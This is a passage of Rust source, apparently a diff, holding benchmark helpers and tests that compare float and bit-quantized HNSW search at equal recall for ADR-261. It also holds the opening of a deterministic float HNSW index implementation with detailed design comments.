/// Build the float HNSW + a `bits`-bit quantized HNSW over the same fixture,
|
||||
/// sharing the graph seed and insertion order so the *only* variable between the
|
||||
/// float and quantized search is the traversal score. `bits ∈ {1, 2, 4}` (clamped
|
||||
/// in [`QuantizedHnswIndex::build_bits`]). The float index is **independent of
|
||||
/// `bits`** — callers sweeping `bits` should build the float index once and reuse
|
||||
/// it (the quantized graph is identical across `bits`; only the per-node code
|
||||
/// changes).
|
||||
pub fn build_indices_bits(
|
||||
p: AnnBenchParams,
|
||||
bits: u32,
|
||||
) -> (HnswIndex, QuantizedHnswIndex, Vec<Vec<f32>>) {
|
||||
let vectors = fixture(p);
|
||||
let params = HnswParams {
|
||||
m: 16,
|
||||
ef_construction: 200,
|
||||
ef_search: 64,
|
||||
seed: p.graph_seed,
|
||||
};
|
||||
let mut float_idx = HnswIndex::new(p.dim, Metric::L2, params);
|
||||
for v in &vectors {
|
||||
float_idx.insert(v);
|
||||
}
|
||||
let quant_idx = QuantizedHnswIndex::build_bits(
|
||||
&vectors,
|
||||
p.dim,
|
||||
Metric::L2,
|
||||
params,
|
||||
p.rot_seed,
|
||||
bits,
|
||||
p.k * 4,
|
||||
);
|
||||
(float_idx, quant_idx, vectors)
|
||||
}
|
||||
|
||||
/// Build only the `bits`-bit quantized index for `p`, reusing a fixture the
|
||||
/// caller already has (avoids regenerating `N×dim` floats per bit-depth in the
|
||||
/// scaling sweep). The graph seed/insertion order match [`build_indices_bits`],
|
||||
/// so this quantized graph is identical to that one's at the same `p`.
|
||||
pub fn build_quant_bits(p: AnnBenchParams, vectors: &[Vec<f32>], bits: u32) -> QuantizedHnswIndex {
|
||||
let params = HnswParams {
|
||||
m: 16,
|
||||
ef_construction: 200,
|
||||
ef_search: 64,
|
||||
seed: p.graph_seed,
|
||||
};
|
||||
QuantizedHnswIndex::build_bits(vectors, p.dim, Metric::L2, params, p.rot_seed, bits, p.k * 4)
|
||||
}
|
||||
|
||||
/// The fastest operating point of a method that meets `target` recall, as
|
||||
/// `(qps, recall, label)`; `None` if no swept op met it.
|
||||
type BestOp = Option<(f64, f64, String)>;
|
||||
|
||||
/// Sweep float HNSW over a fixed `ef` ladder; return the fastest op meeting
|
||||
/// `target` recall.
|
||||
pub fn best_float_op(
|
||||
idx: &HnswIndex,
|
||||
qs: &[Vec<f32>],
|
||||
truth: &[HashSet<u32>],
|
||||
k: usize,
|
||||
target: f64,
|
||||
) -> BestOp {
|
||||
let mut best: BestOp = None;
|
||||
for &ef in &[16usize, 32, 64, 128, 256] {
|
||||
let r = measure_float_hnsw(idx, qs, truth, k, ef);
|
||||
if r.recall >= target && best.as_ref().map(|b| r.qps > b.0).unwrap_or(true) {
|
||||
best = Some((r.qps, r.recall, format!("ef={ef}")));
|
||||
}
|
||||
}
|
||||
best
|
||||
}
|
||||
|
||||
/// Sweep quant HNSW over a fixed `(ef, rerank)` ladder; return the fastest op
|
||||
/// meeting `target` recall, plus the best recall reached anywhere on the ladder
|
||||
/// (so a not-found verdict can report how close it got).
|
||||
pub fn best_quant_op(
|
||||
qidx: &QuantizedHnswIndex,
|
||||
qs: &[Vec<f32>],
|
||||
truth: &[HashSet<u32>],
|
||||
k: usize,
|
||||
target: f64,
|
||||
) -> (BestOp, f64) {
|
||||
let mut best: BestOp = None;
|
||||
let mut best_recall_seen = 0.0f64;
|
||||
for &ef in &[32usize, 64, 128, 256, 512] {
|
||||
for &rr in &[k * 2, k * 5, k * 10, k * 20] {
|
||||
let r = measure_quantized_hnsw(qidx, qs, truth, k, ef, rr);
|
||||
best_recall_seen = best_recall_seen.max(r.recall);
|
||||
if r.recall >= target && best.as_ref().map(|b| r.qps > b.0).unwrap_or(true) {
|
||||
best = Some((r.qps, r.recall, format!("ef={ef} rr={rr}")));
|
||||
}
|
||||
}
|
||||
}
|
||||
(best, best_recall_seen)
|
||||
}
|
||||
|
||||
/// One row of the ADR-261 §11 scaling study: at a fixed `(N, b)`, the equal-recall
|
||||
/// (≥ `target`) operating points for float vs quant HNSW and their QPS ratio.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScalingRow {
|
||||
/// Indexed vector count.
|
||||
pub n: usize,
|
||||
/// Traversal-code bit-depth (1, 2, or 4).
|
||||
pub bits: u32,
|
||||
/// Packed bytes per node of the quant code at this `b`.
|
||||
pub bytes_per_node: usize,
|
||||
/// Fastest float-HNSW op meeting `target` recall (qps, recall, label).
|
||||
pub float_op: BestOp,
|
||||
/// Fastest quant-HNSW op meeting `target` recall (qps, recall, label).
|
||||
pub quant_op: BestOp,
|
||||
/// Best recall the quant ladder reached at this `(N, b)` (≤ `target` ⇒ no op).
|
||||
pub quant_best_recall: f64,
|
||||
/// quant/float QPS ratio at equal recall, if both met `target`.
|
||||
pub ratio: Option<f64>,
|
||||
}
|
||||
|
||||
/// Run the ADR-261 §11 multi-bit scaling study: for each `N ∈ ns` and each
|
||||
/// `b ∈ bits_set`, measure the equal-recall (≥ `target`) QPS ratio of quant-HNSW
|
||||
/// vs float-HNSW on the shared fixture. Deterministic and `--no-default-features`
|
||||
/// runnable. Returns one [`ScalingRow`] per `(N, b)`; the caller prints the table
|
||||
/// and decides the crossover verdict. The float index is built once per `N` and
|
||||
/// reused across `b` (the quant graph is identical across `b`).
|
||||
pub fn run_scaling_study(
|
||||
base: AnnBenchParams,
|
||||
ns: &[usize],
|
||||
bits_set: &[u32],
|
||||
target: f64,
|
||||
) -> Vec<ScalingRow> {
|
||||
let mut rows = Vec::new();
|
||||
for &n in ns {
|
||||
let p = AnnBenchParams { n, ..base };
|
||||
let (float_idx, _q1, vectors) = build_indices_bits(p, 1);
|
||||
let qs = queries(p);
|
||||
let truth = ground_truth(&float_idx, &qs, p.k);
|
||||
let float_op = best_float_op(&float_idx, &qs, &truth, p.k, target);
|
||||
for &b in bits_set {
|
||||
let qidx = build_quant_bits(p, &vectors, b);
|
||||
let (quant_op, quant_best_recall) =
|
||||
best_quant_op(&qidx, &qs, &truth, p.k, target);
|
||||
let ratio = match (&float_op, &quant_op) {
|
||||
(Some((fqps, _, _)), Some((qqps, _, _))) => Some(qqps / fqps),
|
||||
_ => None,
|
||||
};
|
||||
rows.push(ScalingRow {
|
||||
n,
|
||||
bits: qidx.bits(),
|
||||
bytes_per_node: qidx.bytes_per_node(),
|
||||
float_op: float_op.clone(),
|
||||
quant_op,
|
||||
quant_best_recall,
|
||||
ratio,
|
||||
});
|
||||
}
|
||||
}
|
||||
rows
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn fixture_and_queries_are_deterministic() {
|
||||
let p = AnnBenchParams::default_fixture(500);
|
||||
assert_eq!(fixture(p), fixture(p));
|
||||
assert_eq!(queries(p), queries(p));
|
||||
let p2 = AnnBenchParams {
|
||||
seed: p.seed ^ 1,
|
||||
..p
|
||||
};
|
||||
assert_ne!(fixture(p)[0], fixture(p2)[0]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn linear_recall_is_one() {
|
||||
// Linear scan IS the ground truth, so recall must be exactly 1.0.
|
||||
let p = AnnBenchParams::default_fixture(800);
|
||||
let (float_idx, _q, _v) = build_indices(p);
|
||||
let qs = queries(p);
|
||||
let truth = ground_truth(&float_idx, &qs, p.k);
|
||||
let r = measure_linear(&float_idx, &qs, &truth, p.k);
|
||||
assert!((r.recall - 1.0).abs() < 1e-9, "linear recall {} != 1.0", r.recall);
|
||||
assert!(r.qps > 0.0);
|
||||
}
|
||||
|
||||
/// The ADR-261 measurement report. Prints the linear / float-HNSW /
|
||||
/// quantized-HNSW recall@10 + QPS table and the QPS ratios at matched recall.
|
||||
/// Run with `--release --nocapture` for the numbers the ADR quotes.
|
||||
#[test]
|
||||
fn ann_bench_report() {
|
||||
// N here is the small/CI-friendly default so the standard (debug) test
|
||||
// gate stays fast; the ADR's headline numbers are taken at the larger N
|
||||
// under --release (documented in the ADR with the exact command). This
|
||||
// test asserts only structural invariants so it is gate-safe at any N.
|
||||
let n: usize = std::env::var("ANN_BENCH_N")
|
||||
.ok()
|
||||
.and_then(|s| s.parse().ok())
|
||||
.unwrap_or(10_000);
|
||||
let p = AnnBenchParams::default_fixture(n);
|
||||
let (float_idx, quant_idx, _v) = build_indices(p);
|
||||
let qs = queries(p);
|
||||
let truth = ground_truth(&float_idx, &qs, p.k);
|
||||
|
||||
println!("\n=== ADR-261 ANN benchmark (planted-cluster synthetic) ===");
|
||||
println!(
|
||||
"dim={} N={} clusters={} queries={} K={} noise={} graph_seed=0x{:X} rot_seed=0x{:X}",
|
||||
p.dim, p.n, p.clusters, p.n_queries, p.k, p.noise, p.graph_seed, p.rot_seed
|
||||
);
|
||||
println!("metric=L2 M=16 ef_construction=200 (debug build unless --release)");
|
||||
println!(
|
||||
"{:<28} {:>9} {:>12} {:>12}",
|
||||
"method", "recall@10", "QPS", "lat(us)"
|
||||
);
|
||||
|
||||
let lin = measure_linear(&float_idx, &qs, &truth, p.k);
|
||||
println!(
|
||||
"{:<28} {:>8.4} {:>12.1} {:>12.1}",
|
||||
"linear scan (brute)", lin.recall, lin.qps, lin.latency_us
|
||||
);
|
||||
|
||||
// Float HNSW across an ef sweep.
|
||||
let mut float_ops: Vec<(usize, MethodResult)> = Vec::new();
|
||||
for &ef in &[16usize, 32, 64, 128, 256] {
|
||||
let r = measure_float_hnsw(&float_idx, &qs, &truth, p.k, ef);
|
||||
println!(
|
||||
"{:<28} {:>8.4} {:>12.1} {:>12.1}",
|
||||
format!("float-HNSW ef={ef}"),
|
||||
r.recall,
|
||||
r.qps,
|
||||
r.latency_us
|
||||
);
|
||||
float_ops.push((ef, r));
|
||||
}
|
||||
|
||||
// Quantized HNSW across (ef, rerank) sweep.
|
||||
let mut quant_ops: Vec<((usize, usize), MethodResult)> = Vec::new();
|
||||
for &ef in &[32usize, 64, 128, 256] {
|
||||
for &rr in &[p.k * 2, p.k * 5, p.k * 10] {
|
||||
let r = measure_quantized_hnsw(&quant_idx, &qs, &truth, p.k, ef, rr);
|
||||
println!(
|
||||
"{:<28} {:>8.4} {:>12.1} {:>12.1}",
|
||||
format!("quant-HNSW ef={ef} rr={rr}"),
|
||||
r.recall,
|
||||
r.qps,
|
||||
r.latency_us
|
||||
);
|
||||
quant_ops.push(((ef, rr), r));
|
||||
}
|
||||
}
|
||||
|
||||
// Equal-recall comparison: pick, for a target recall, the FASTEST op of
|
||||
// each method that meets it, then report the QPS ratios.
|
||||
println!("\n--- equal-recall QPS ratios ---");
|
||||
for &target in &[0.90f64, 0.95, 0.99] {
|
||||
let best_float = float_ops
|
||||
.iter()
|
||||
.filter(|(_, r)| r.recall >= target)
|
||||
.max_by(|a, b| a.1.qps.partial_cmp(&b.1.qps).unwrap());
|
||||
let best_quant = quant_ops
|
||||
.iter()
|
||||
.filter(|(_, r)| r.recall >= target)
|
||||
.max_by(|a, b| a.1.qps.partial_cmp(&b.1.qps).unwrap());
|
||||
match (best_float, best_quant) {
|
||||
(Some((fef, fr)), Some(((qef, qrr), qr))) => {
|
||||
let ratio = qr.qps / fr.qps;
|
||||
let hnsw_vs_lin = fr.qps / lin.qps;
|
||||
println!(
|
||||
"recall>={:.2}: float ef={} {:.0} QPS | quant ef={} rr={} {:.0} QPS | quant/float={:.2}x | float/linear={:.2}x",
|
||||
target, fef, fr.qps, qef, qrr, qr.qps, ratio, hnsw_vs_lin
|
||||
);
|
||||
}
|
||||
(Some((fef, fr)), None) => {
|
||||
let hnsw_vs_lin = fr.qps / lin.qps;
|
||||
println!(
|
||||
"recall>={:.2}: float ef={} {:.0} QPS | quant: NO op met this recall | float/linear={:.2}x",
|
||||
target, fef, fr.qps, hnsw_vs_lin
|
||||
);
|
||||
}
|
||||
_ => {
|
||||
println!("recall>={:.2}: neither method met this recall at the swept ops", target);
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("=========================================================\n");
|
||||
|
||||
// Structural assertions (gate-safe, any N):
|
||||
// - linear scan is exact,
|
||||
// - the best float-HNSW op clears the correctness gate,
|
||||
// - quantized's best op is at least useful (recall well above random).
|
||||
assert!((lin.recall - 1.0).abs() < 1e-9);
|
||||
let best_float_recall = float_ops.iter().map(|(_, r)| r.recall).fold(0.0, f64::max);
|
||||
assert!(
|
||||
best_float_recall >= 0.95,
|
||||
"best float-HNSW recall {best_float_recall:.4} below 0.95 gate"
|
||||
);
|
||||
let best_quant_recall = quant_ops.iter().map(|(_, r)| r.recall).fold(0.0, f64::max);
|
||||
// Honest floor: the 1-bit Hamming traversal is a COARSE angle proxy, so
|
||||
// at large N its best recall lands well below the float gate (MEASURED
|
||||
// ~0.74 at N=10k — see ADR-261 §6). We assert only that it is clearly
|
||||
// useful (>> random: random top-10 of N=10k is ~0.001), which catches a
|
||||
// fully-broken traversal/rerank without pretending the quantized variant
|
||||
// matches float HNSW. The honest negative IS the result.
|
||||
assert!(
|
||||
best_quant_recall >= 0.30,
|
||||
"best quant-HNSW recall {best_quant_recall:.4} below the 0.30 not-broken floor"
|
||||
);
|
||||
}
|
||||
|
||||
/// The ADR-261 §11 **multi-bit scaling study**. Sweeps `N` and `b ∈ {1,2,4}`,
|
||||
/// printing the `(N, b) → recall / QPS / quant-vs-float ratio at equal recall`
|
||||
/// surface and the crossover verdict. This is the source of truth for the §11
|
||||
/// table. Run for the published numbers with:
|
||||
///
|
||||
/// ```text
|
||||
/// cd v2 && ANN_SCALE_NS=10000,100000,250000 \
|
||||
/// cargo test -p wifi-densepose-ruvector --no-default-features --release \
|
||||
/// scaling_report -- --nocapture --ignored
|
||||
/// ```
|
||||
///
|
||||
/// Marked `#[ignore]` so the default (debug) gate stays fast: it builds and
|
||||
/// queries several indices up to large `N`, which is minutes under `--release`
|
||||
/// and far too slow in debug. The CI-safe structural invariants are checked by
|
||||
/// `scaling_study_small_is_consistent` below at tiny `N`.
|
||||
#[test]
|
||||
#[ignore = "scaling study — run explicitly with --release --ignored; minutes at large N"]
|
||||
fn scaling_report() {
|
||||
// N ladder: default 10k→100k→250k (a clean 25× span that builds+queries in
|
||||
// a few minutes under --release on the test box). Override with
|
||||
// ANN_SCALE_NS=a,b,c. The largest feasible N is documented in the ADR with
|
||||
// the measured build/query time at the cap.
|
||||
let ns: Vec<usize> = std::env::var("ANN_SCALE_NS")
|
||||
.ok()
|
||||
.map(|s| s.split(',').filter_map(|x| x.trim().parse().ok()).collect())
|
||||
.unwrap_or_else(|| vec![10_000, 100_000, 250_000]);
|
||||
let bits_set = [1u32, 2, 4];
|
||||
let target = 0.90f64;
|
||||
let base = AnnBenchParams::default_fixture(ns[0]);
|
||||
|
||||
println!("\n=== ADR-261 §11 multi-bit scaling study (planted-cluster synthetic) ===");
|
||||
println!(
|
||||
"dim={} clusters={} queries={} K={} noise={} graph_seed=0x{:X} rot_seed=0x{:X}",
|
||||
base.dim, base.clusters, base.n_queries, base.k, base.noise, base.graph_seed, base.rot_seed
|
||||
);
|
||||
println!("metric=L2 M=16 ef_construction=200 target recall >= {target:.2} (use --release for QPS)");
|
||||
println!(
|
||||
"{:<9} {:>4} {:>9} {:>10} {:>22} {:>22} {:>12}",
|
||||
"N", "bits", "B/node", "q_best_rec", "float@target", "quant@target", "quant/float"
|
||||
);
|
||||
|
||||
let rows = run_scaling_study(base, &ns, &bits_set, target);
|
||||
for row in &rows {
|
||||
let float_s = row
|
||||
.float_op
|
||||
.as_ref()
|
||||
.map(|(q, r, l)| format!("{l} {q:.0}QPS r={r:.3}"))
|
||||
.unwrap_or_else(|| "none".to_string());
|
||||
let quant_s = row
|
||||
.quant_op
|
||||
.as_ref()
|
||||
.map(|(q, r, l)| format!("{l} {q:.0}QPS r={r:.3}"))
|
||||
.unwrap_or_else(|| "none".to_string());
|
||||
let ratio_s = row
|
||||
.ratio
|
||||
.map(|x| format!("{x:.2}x"))
|
||||
.unwrap_or_else(|| "—".to_string());
|
||||
println!(
|
||||
"{:<9} {:>4} {:>9} {:>10.3} {:>22} {:>22} {:>12}",
|
||||
row.n, row.bits, row.bytes_per_node, row.quant_best_recall, float_s, quant_s, ratio_s
|
||||
);
|
||||
}
|
||||
|
||||
// Crossover verdict: report whether the quant/float ratio EVER exceeds 1.0
|
||||
// at equal recall, and the per-bit trend of the best-quant-recall as N grows
|
||||
// (is quant getting closer to the equal-recall regime, or not).
|
||||
println!("\n--- crossover verdict (quant-HNSW > float-HNSW at equal recall?) ---");
|
||||
let crossover: Vec<&ScalingRow> = rows
|
||||
.iter()
|
||||
.filter(|r| r.ratio.map(|x| x > 1.0).unwrap_or(false))
|
||||
.collect();
|
||||
if crossover.is_empty() {
|
||||
println!("NO crossover at any measured (N, b): quant never met target recall AND beat float QPS.");
|
||||
} else {
|
||||
for r in &crossover {
|
||||
println!(
|
||||
"CROSSOVER at N={} b={}: quant/float = {:.2}x at recall >= {target:.2}",
|
||||
r.n, r.bits, r.ratio.unwrap()
|
||||
);
|
||||
}
|
||||
}
|
||||
for &b in &bits_set {
|
||||
let trend: Vec<(usize, f64)> = rows
|
||||
.iter()
|
||||
.filter(|r| r.bits == b)
|
||||
.map(|r| (r.n, r.quant_best_recall))
|
||||
.collect();
|
||||
let trend_s: Vec<String> = trend
|
||||
.iter()
|
||||
.map(|(n, r)| format!("N={n}:{r:.3}"))
|
||||
.collect();
|
||||
println!("b={b} best-quant-recall trend: {}", trend_s.join(" "));
|
||||
}
|
||||
println!("======================================================================\n");
|
||||
|
||||
// Structural invariants (gate-safe at any N): at least one float op met
|
||||
// target at every N (the baseline must work), and quant recall is in range.
|
||||
for &n in &ns {
|
||||
let any_float = rows.iter().any(|r| r.n == n && r.float_op.is_some());
|
||||
assert!(any_float, "no float-HNSW op met target recall at N={n} — baseline broken");
|
||||
}
|
||||
for r in &rows {
|
||||
assert!(
|
||||
(0.0..=1.0).contains(&r.quant_best_recall),
|
||||
"quant recall out of range at N={} b={}: {}",
|
||||
r.n,
|
||||
r.bits,
|
||||
r.quant_best_recall
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// CI-safe structural check for the scaling study at tiny `N` (debug-fast):
|
||||
/// the study runs end-to-end, bytes/node scales with `b`, and the float
|
||||
/// baseline meets target at the smallest N. Does **not** assert any crossover
|
||||
/// (that is the §11 measured question, answered by `scaling_report`).
|
||||
#[test]
|
||||
fn scaling_study_small_is_consistent() {
|
||||
let base = AnnBenchParams::default_fixture(1500);
|
||||
let ns = [1500usize, 3000];
|
||||
let bits_set = [1u32, 2, 4];
|
||||
let rows = run_scaling_study(base, &ns, &bits_set, 0.90);
|
||||
assert_eq!(rows.len(), ns.len() * bits_set.len());
|
||||
// Bytes/node scales with b at dim=128 (D=128): 16 / 32 / 64.
|
||||
for r in rows.iter().filter(|r| r.n == 1500) {
|
||||
let expect = match r.bits {
|
||||
1 => 16,
|
||||
2 => 32,
|
||||
_ => 64,
|
||||
};
|
||||
assert_eq!(r.bytes_per_node, expect, "B/node wrong for b={}", r.bits);
|
||||
}
|
||||
// Float baseline must meet target at the smallest N.
|
||||
assert!(
|
||||
rows.iter().any(|r| r.n == 1500 && r.float_op.is_some()),
|
||||
"float baseline failed target at small N"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,826 @@
|
||||
//! A correct, dependency-free **float HNSW** graph-ANN index — ADR-261.
|
||||
//!
|
||||
//! # Why this exists
|
||||
//!
|
||||
//! The ruvector crate's retrieval path (AETHER re-ID hot-cache, the `sketch.rs`
|
||||
//! 1-bit prefilter, room fingerprinting) is, at its core, an **approximate
|
||||
//! nearest-neighbour** problem: dense float embedding in, top-K similar ids out.
|
||||
//! Until now the crate had **no graph index** — every `topk` was a linear scan
|
||||
//! (`O(N·d)` per query) or a 1-bit Hamming prefilter over a linear scan. That is
|
||||
//! fine at the small N the unit fixtures use, but it is `O(N)` per query and does
|
||||
//! not scale.
|
||||
//!
|
||||
//! [ADR-156 §5 #1](../../../../../docs/adr/ADR-156-ruvector-fusion-beyond-sota.md)
|
||||
//! lists **SymphonyQG** (SIGMOD 2025) as the lead beyond-SOTA ANN candidate,
|
||||
//! claiming **3.5–17× QPS over HNSW at equal recall** — but graded that claim
|
||||
//! **CLAIMED**, *"not reproduced on our hardware (no HNSW baseline exists to
|
||||
//! compare against)."* You cannot measure a ratio against a baseline you do not
|
||||
//! have. This module **builds that missing HNSW baseline**; [`crate::hnsw_quantized`]
|
||||
//! builds the quantized-rerank variant that tests the *direction* of the
|
||||
//! SymphonyQG bet. ADR-261 reports the **measured** ratio.
|
||||
//!
|
||||
//! # The algorithm (Malkov & Yashunin, TPAMI 2018)
|
||||
//!
|
||||
//! HNSW = a multi-layer navigable small-world graph. Each inserted point gets a
|
||||
//! random **level** `ℓ` (geometrically distributed, mean `1/ln(M)`); it appears
|
||||
//! in all layers `0..=ℓ`. Layer 0 holds every point; higher layers are
|
||||
//! exponentially sparser "express lanes". A search:
|
||||
//!
|
||||
//! 1. Enters at the top layer's single entry point.
|
||||
//! 2. **Greedy-descends** each layer above 0: repeatedly hop to the neighbour
|
||||
//! closest to the query until no neighbour is closer, then drop a layer.
|
||||
//! 3. At layer 0, runs a **best-first beam search** with beam width `ef`,
|
||||
//! keeping the `ef` closest candidates seen, and returns the closest `k`.
|
||||
//!
|
||||
//! Construction inserts each point by searching for its `ef_construction`
|
||||
//! nearest existing neighbours at each of its layers, then connecting it to a
|
||||
//! pruned subset chosen by the **neighbour-selection heuristic** (Algorithm 4 in
|
||||
//! the paper): prefer neighbours that are closer to the new point than to any
|
||||
//! already-selected neighbour, which keeps the graph navigable (diverse edges)
|
||||
//! instead of clumping all edges toward one cluster.
|
||||
//!
|
||||
//! # Determinism (the proof contract)
|
||||
//!
|
||||
//! Level assignment is the only randomness, and it is driven by a **seeded
|
||||
//! SplitMix64** PRNG (the exact pattern from [`crate::rotation`]) — never
|
||||
//! `Date::now`, an OS RNG, or `rand` without a seed. Two indices built from the
|
||||
//! same `(seed, params, insertion order)` are bit-identical, pinned by
|
||||
//! [`tests::hnsw_is_deterministic_for_seed`]. This matters for reproducible
|
||||
//! benchmarks: the recall/QPS numbers in ADR-261 must be regenerable.
|
||||
//!
|
||||
//! # Robustness (no panic on degenerate input)
|
||||
//!
|
||||
//! Empty index, `k > n`, `k == 0`, a single node, zero-dimension vectors,
|
||||
//! ragged-length queries, and `ef < k` are all handled without panicking —
|
||||
//! pinned by the `*_no_panic` / degenerate tests. Graph traversal is bounded by
|
||||
//! the visited-set and the candidate beam, so there is no unbounded recursion
|
||||
//! (the search is iterative, using explicit heaps).
|
||||
|
||||
use std::cmp::Ordering;
|
||||
use std::collections::{BinaryHeap, HashSet};
|
||||
|
||||
/// Distance metric for the index. Both are computed over `Vec<f32>` with an
|
||||
/// `f64` accumulator for numerical stability on long vectors.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Metric {
|
||||
/// Squared euclidean distance `Σ (a_i − b_i)²`. Monotone in euclidean
|
||||
/// distance, so top-K ranking is identical; we skip the sqrt.
|
||||
L2,
|
||||
/// Cosine **distance** `1 − cos(a, b)`. Smaller = more similar. This is
|
||||
/// AETHER's actual angular metric and what the `sketch.rs` sign code
|
||||
/// approximates, so it is the default for ruvector re-ID.
|
||||
Cosine,
|
||||
}
|
||||
|
||||
impl Metric {
|
||||
/// Distance between two equal-length slices under this metric.
|
||||
///
|
||||
/// Ragged lengths are handled charitably (compared over the shorter prefix);
|
||||
/// a degenerate (zero-norm) cosine input yields the maximum cosine distance
|
||||
/// `1.0` rather than a NaN. Never panics.
|
||||
#[inline]
|
||||
pub fn distance(self, a: &[f32], b: &[f32]) -> f32 {
|
||||
let n = a.len().min(b.len());
|
||||
match self {
|
||||
Metric::L2 => {
|
||||
let mut acc = 0.0f64;
|
||||
for i in 0..n {
|
||||
let d = a[i] as f64 - b[i] as f64;
|
||||
acc += d * d;
|
||||
}
|
||||
acc as f32
|
||||
}
|
||||
Metric::Cosine => {
|
||||
let mut dot = 0.0f64;
|
||||
let mut na = 0.0f64;
|
||||
let mut nb = 0.0f64;
|
||||
for i in 0..n {
|
||||
let (x, y) = (a[i] as f64, b[i] as f64);
|
||||
dot += x * y;
|
||||
na += x * x;
|
||||
nb += y * y;
|
||||
}
|
||||
let denom = (na * nb).sqrt();
|
||||
if denom < 1e-12 {
|
||||
1.0
|
||||
} else {
|
||||
(1.0 - dot / denom) as f32
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Construction / search hyper-parameters for an [`HnswIndex`].
|
||||
///
|
||||
/// Defaults follow the paper's recommended starting points (`M = 16`,
|
||||
/// `ef_construction = 200`). `ef_search` is the query-time beam width; larger
|
||||
/// `ef_search` trades QPS for recall — the knob the ADR-261 benchmark sweeps to
|
||||
/// find the equal-recall operating point.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct HnswParams {
|
||||
/// Max neighbours per node on layers ≥ 1. Layer 0 uses `2·M` (`m_max0`),
|
||||
/// the paper's standard asymmetry (the base layer needs higher degree).
|
||||
pub m: usize,
|
||||
/// Candidate list size during construction (`efConstruction`). Larger =
|
||||
/// better-connected graph, slower build.
|
||||
pub ef_construction: usize,
|
||||
/// Default beam width at query time (`ef`). Overridable per-query in
|
||||
/// [`HnswIndex::search`].
|
||||
pub ef_search: usize,
|
||||
/// Seed for the level-assignment PRNG. Fixed ⇒ reproducible graph.
|
||||
pub seed: u64,
|
||||
}
|
||||
|
||||
impl Default for HnswParams {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
m: 16,
|
||||
ef_construction: 200,
|
||||
ef_search: 64,
|
||||
seed: 0x1157_0000_0000_0001u64,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A min-distance ordering wrapper: a `BinaryHeap<Candidate>` is a **max-heap**,
|
||||
/// so we negate the comparison to make `peek()` the *closest* candidate when we
|
||||
/// want a min-heap, or use it directly for a max-heap of the *farthest*. We keep
|
||||
/// two explicit newtypes to make the intent unmistakable at each call site.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
struct Scored {
|
||||
dist: f32,
|
||||
id: u32,
|
||||
}
|
||||
|
||||
impl PartialEq for Scored {
|
||||
fn eq(&self, other: &Self) -> bool {
|
||||
self.dist == other.dist && self.id == other.id
|
||||
}
|
||||
}
|
||||
impl Eq for Scored {}
|
||||
|
||||
/// Max-heap ordering: larger `dist` is "greater" ⇒ at the top. Ties broken by
|
||||
/// id so the order is total and deterministic.
|
||||
impl Ord for Scored {
|
||||
fn cmp(&self, other: &Self) -> Ordering {
|
||||
self.dist
|
||||
.partial_cmp(&other.dist)
|
||||
.unwrap_or(Ordering::Equal)
|
||||
.then(self.id.cmp(&other.id))
|
||||
}
|
||||
}
|
||||
impl PartialOrd for Scored {
|
||||
fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
|
||||
Some(self.cmp(other))
|
||||
}
|
||||
}
|
||||
|
||||
/// `Reverse`-equivalent for a min-heap (closest at top) without pulling in
|
||||
/// `std::cmp::Reverse` boilerplate at every site.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
struct MinScored(Scored);
|
||||
impl PartialEq for MinScored {
|
||||
fn eq(&self, other: &Self) -> bool {
|
||||
self.0 == other.0
|
||||
}
|
||||
}
|
||||
impl Eq for MinScored {}
|
||||
impl Ord for MinScored {
|
||||
fn cmp(&self, other: &Self) -> Ordering {
|
||||
other.0.cmp(&self.0) // reversed
|
||||
}
|
||||
}
|
||||
impl PartialOrd for MinScored {
|
||||
fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
|
||||
Some(self.cmp(other))
|
||||
}
|
||||
}
|
||||
|
||||
/// A multi-layer HNSW graph index over dense `Vec<f32>` embeddings.
|
||||
///
|
||||
/// IDs are the **insertion index** (`0..len`), returned by [`HnswIndex::search`]
|
||||
/// alongside the distance. The original vectors are retained (the graph needs
|
||||
/// them for distance computation at query time), so memory is
|
||||
/// `O(N·d) + O(N·M)` — the float vectors plus the adjacency lists.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct HnswIndex {
|
||||
metric: Metric,
|
||||
params: HnswParams,
|
||||
dim: usize,
|
||||
/// Stored vectors, indexed by id.
|
||||
vectors: Vec<Vec<f32>>,
|
||||
/// `links[id][layer]` = neighbour ids of `id` on `layer`. A node of level
|
||||
/// `ℓ` has `ℓ+1` layers (`0..=ℓ`).
|
||||
links: Vec<Vec<Vec<u32>>>,
|
||||
/// Per-node top level.
|
||||
levels: Vec<usize>,
|
||||
/// Current entry point id (the highest-level node), or `None` if empty.
|
||||
entry: Option<u32>,
|
||||
/// Highest level currently present in the graph.
|
||||
top_level: usize,
|
||||
/// PRNG state for level assignment (advances per insert).
|
||||
rng_state: u64,
|
||||
}
|
||||
|
||||
impl HnswIndex {
|
||||
/// Create an empty index with the given metric and parameters.
|
||||
///
|
||||
/// `dim` is the expected embedding dimension. Inserts of a different length
|
||||
/// are accepted charitably (the metric compares over the shorter prefix), so
|
||||
/// a wrong-length vector degrades recall rather than panicking — but callers
|
||||
/// should keep dimension uniform.
|
||||
pub fn new(dim: usize, metric: Metric, params: HnswParams) -> Self {
|
||||
Self {
|
||||
metric,
|
||||
params,
|
||||
dim,
|
||||
vectors: Vec::new(),
|
||||
links: Vec::new(),
|
||||
levels: Vec::new(),
|
||||
entry: None,
|
||||
top_level: 0,
|
||||
rng_state: params.seed.wrapping_add(0x9E37_79B9_7F4A_7C15),
|
||||
}
|
||||
}
|
||||
|
||||
/// Number of indexed points.
|
||||
#[inline]
|
||||
pub fn len(&self) -> usize {
|
||||
self.vectors.len()
|
||||
}
|
||||
|
||||
/// True iff the index holds no points.
|
||||
#[inline]
|
||||
pub fn is_empty(&self) -> bool {
|
||||
